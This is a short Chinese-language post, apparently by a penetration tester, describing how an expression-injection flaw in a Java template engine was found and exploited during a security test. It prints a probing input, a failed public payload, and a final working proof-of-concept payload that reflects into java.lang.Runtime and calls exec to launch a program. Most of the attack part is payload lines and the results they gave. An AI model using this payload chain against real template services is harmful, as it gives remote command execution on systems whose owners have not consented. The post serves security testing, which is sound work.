安全测试的时候同事发现 有个模板 可以带入变量 大概是这样的
{
"content": "${a} ${b}",
"params": [
"123","456"
]
}
最后解析结果是”123 456” 觉得有表达式注入 我说试下${${a}+${b}}呢 结果果然返回的是579
存在EL表达式注入无疑了 一路跟踪代码 发现接口只是做了替换 最后调用另一个内部接口 debug了下发现传参为 ${123+456} 嗯。。。只是简单的替换
最后跟踪发现有个模板引擎去做解析 那么问题就出在这了。
查一下网上的payload
${("".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null,null)).exec("calc")}
发现返回失败 但是执行 getMethods 是有返回的 只好本地调试下
${"".getClass().forName("java.lang.Runtime").getMethods()}
发现报错 找不到方法 明明反射调用了Runtime 一路跟进代码 发现是生产模板的锅 Engine.getEngine().parseTemplate(data)
方法会逐级搜索该对象或者类下面是否有对应的方法 然后push到一个缓存中 继续读取
问题就出在这里 ClassUtils.searchMethod java反射调用之后 生成的是一个Object 而Object是没有方法的 也就抛出下面的异常了
所以 问了下师傅 说需要强制转换类型 最终poc 为
${((Runtime)("".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null,null))).exec("calc")}